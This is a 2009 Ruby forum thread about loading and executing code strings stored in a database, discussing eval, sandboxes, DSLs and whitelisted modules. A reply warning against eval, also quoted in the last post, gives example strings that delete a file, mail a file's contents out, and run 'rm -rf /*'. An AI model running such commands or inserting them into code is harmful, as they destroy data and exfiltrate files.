# Load & Execute Code From a Database

**URL:** <https://www.ruby-forum.com/t/load-execute-code-from-a-database/173500>\
**Category:** Ruby\
**Created:** [August 10, 2009, 5:02pm UTC](https://www.ruby-forum.com/t/load-execute-code-from-a-database/173500 "2009-08-10T17:02:36Z")\
**Posts on this page:** 9\
**Page:** 1

<div class="post-metadata">

**Author:** ![Paul\_F\_Fraser](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/p/3d9bf3/32.png) [@Paul\_F\_Fraser](https://www.ruby-forum.com/u/Paul_F_Fraser)\
**Post date:** [August 10, 2009, 5:02pm UTC](https://www.ruby-forum.com/t/load-execute-code-from-a-database/173500/1 "2009-08-10T17:02:36Z")

</div>

Hi,  
Sometime ago there was a discussion about loading & running code held  
in a database and there were some adverse comments about security etc…  
Was the method based on eval, or are there other ways to load and  
execute from a string of code stored in a database?  
Paul F Fraser

---

<div class="post-metadata">

**Author:** ![Paul\_F\_Fraser](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/p/3d9bf3/32.png) [@Paul\_F\_Fraser](https://www.ruby-forum.com/u/Paul_F_Fraser)\
**Post date:** [August 11, 2009, 8:19am UTC](https://www.ruby-forum.com/t/load-execute-code-from-a-database/173500/2 "2009-08-11T08:19:18Z")

</div>

I guess you could sandbox it? There are Ruby sandboxes out there…  
Still not 100% protection I guess, but better than eval any day…

Greetz!

2009/8/10 Paul F Fraser [removed\_email\_address@domain.invalid](mailto:removed_email_address@domain.invalid)

---

<div class="post-metadata">

**Author:** ![Paul\_F\_Fraser](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/p/3d9bf3/32.png) [@Paul\_F\_Fraser](https://www.ruby-forum.com/u/Paul_F_Fraser)\
**Post date:** [August 11, 2009, 12:11pm UTC](https://www.ruby-forum.com/t/load-execute-code-from-a-database/173500/3 "2009-08-11T12:11:52Z")

</div>

Fabian S. wrote:

> I guess you could sandbox it? There are Ruby sandboxes out there…  
> Still not 100% protection I guess, but better than eval any day…

\_why’s sandbox looks to be pretty good, but it requires you to rebuild  
the ruby interpreter from source with a small patch.

Depending on your application, it may be better to parse some  
domain-specific language rather than ruby. Look at [liquidmarkup.org](http://liquidmarkup.org) for  
an example.

Another solution is to let the user choose between N trusted pieces of  
code to execute, by storing the name of a method or module in the  
database. This is pretty safe:

module Snippets  
module Foo  
def self.run  
puts “bah!”  
end  
end  
end

modname = “Foo” # from untrusted source, e.g. db  
Snippets.const\_get(modname).run

---

<div class="post-metadata">

**Author:** ![Paul\_F\_Fraser](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/p/3d9bf3/32.png) [@Paul\_F\_Fraser](https://www.ruby-forum.com/u/Paul_F_Fraser)\
**Post date:** [August 11, 2009, 12:23pm UTC](https://www.ruby-forum.com/t/load-execute-code-from-a-database/173500/4 "2009-08-11T12:23:23Z")

</div>

Brian C. wrote:

> domain-specific language rather than ruby. Look at [liquidmarkup.org](http://liquidmarkup.org) for  
> end  
> end  
> end
> 
> modname = “Foo” # from untrusted source, e.g. db  
> Snippets.const\_get(modname).run

My question is a little more basic (and dumb)  
I have a string containing code from a db.  
Forgetting for the moment, security, what do I do with the string to  
have the code available in a running ruby (jruby) application, as I can  
do with a normal load or require?  
Thanks,  
Paul

---

<div class="post-metadata">

**Author:** ![Paul\_F\_Fraser](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/p/3d9bf3/32.png) [@Paul\_F\_Fraser](https://www.ruby-forum.com/u/Paul_F_Fraser)\
**Post date:** [August 11, 2009, 12:54pm UTC](https://www.ruby-forum.com/t/load-execute-code-from-a-database/173500/5 "2009-08-11T12:54:11Z")

</div>

Paul F Fraser wrote:

> My question is a little more basic (and dumb)  
> I have a string containing code from a db.  
> Forgetting for the moment, security, what do I do with the string to  
> have the code available in a running ruby (jruby) application, as I can  
> do with a normal load or require?

str = “puts ‘ha ha ha’”  
eval(str)

But this is enormously risky, unless you 100% trust all users who have  
the ability to write to that database column. Consider:

str = “File.delete(’/any/file’)”  
str = “system(‘cat /any/file | mail removed\_email\_address@domain.invalid’)”  
str = “system(‘rm -rf /\*’)”

---

<div class="post-metadata">

**Author:** ![Paul\_F\_Fraser](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/p/3d9bf3/32.png) [@Paul\_F\_Fraser](https://www.ruby-forum.com/u/Paul_F_Fraser)\
**Post date:** [August 11, 2009, 1:27pm UTC](https://www.ruby-forum.com/t/load-execute-code-from-a-database/173500/6 "2009-08-11T13:27:28Z")

</div>

Paul F Fraser wrote:

> I have tried to locate in the ruby source, what ruby does with a ruby  
> file after it loads it with require or load, but the src became a little  
> obtuse.  
> Does require use eval, or what ruby technique is used to incorporate  
> the required code into the system?

load(“file.rb”) is pretty much the same as eval(File.read(“file.rb”))

The source is a bit hard to follow, but ultimately one calls  
rb\_compile\_file and the other calls rb\_compile\_string, and both call  
yycompile in parse.c

(I’m looking at 1.8.6 source)

---

<div class="post-metadata">

**Author:** ![Paul\_F\_Fraser](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/p/3d9bf3/32.png) [@Paul\_F\_Fraser](https://www.ruby-forum.com/u/Paul_F_Fraser)\
**Post date:** [August 11, 2009, 1:30pm UTC](https://www.ruby-forum.com/t/load-execute-code-from-a-database/173500/7 "2009-08-11T13:30:06Z")

</div>

Brian C. wrote:

> load(“file.rb”) is pretty much the same as eval(File.read(“file.rb”))

… and incidentally, there are several examples of programs which load  
a source file in the second way, so that they can modify it first. Look  
at ‘rackup’ in the Rack distribution, or for a more mind-bending  
experience, Camping.

---

<div class="post-metadata">

**Author:** ![Paul\_F\_Fraser](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/p/3d9bf3/32.png) [@Paul\_F\_Fraser](https://www.ruby-forum.com/u/Paul_F_Fraser)\
**Post date:** [August 11, 2009, 1:39pm UTC](https://www.ruby-forum.com/t/load-execute-code-from-a-database/173500/8 "2009-08-11T13:39:29Z")

</div>

Brian C. wrote:

> Brian C. wrote:
> 
> > load(“file.rb”) is pretty much the same as eval(File.read(“file.rb”))
> 
> … and incidentally, there are several examples of programs which load  
> a source file in the second way, so that they can modify it first. Look  
> at ‘rackup’ in the Rack distribution, or for a more mind-bending  
> experience, Camping.

Thanks again, Brian,  
Excellent explanation.  
Paul

---

<div class="post-metadata">

**Author:** ![Paul\_F\_Fraser](https://www.ruby-forum.com/letter_avatar_proxy/v4/letter/p/3d9bf3/32.png) [@Paul\_F\_Fraser](https://www.ruby-forum.com/u/Paul_F_Fraser)\
**Post date:** [August 11, 2009, 1:10pm UTC](https://www.ruby-forum.com/t/load-execute-code-from-a-database/173500/9 "2009-08-11T13:10:13Z")

</div>

Brian C. wrote:

> eval(str)
> 
> But this is enormously risky, unless you 100% trust all users who have  
> the ability to write to that database column. Consider:
> 
> str = “File.delete(’/any/file’)”  
> str = “system(‘cat /any/file | mail removed\_email\_address@domain.invalid’)”  
> str = “system(‘rm -rf /\*’)”

Thanks, Brian,  
I have tried to locate in the ruby source, what ruby does with a ruby  
file after it loads it with require or load, but the src became a little  
obtuse.  
Does require use eval, or what ruby technique is used to incorporate  
the required code into the system?  
Paul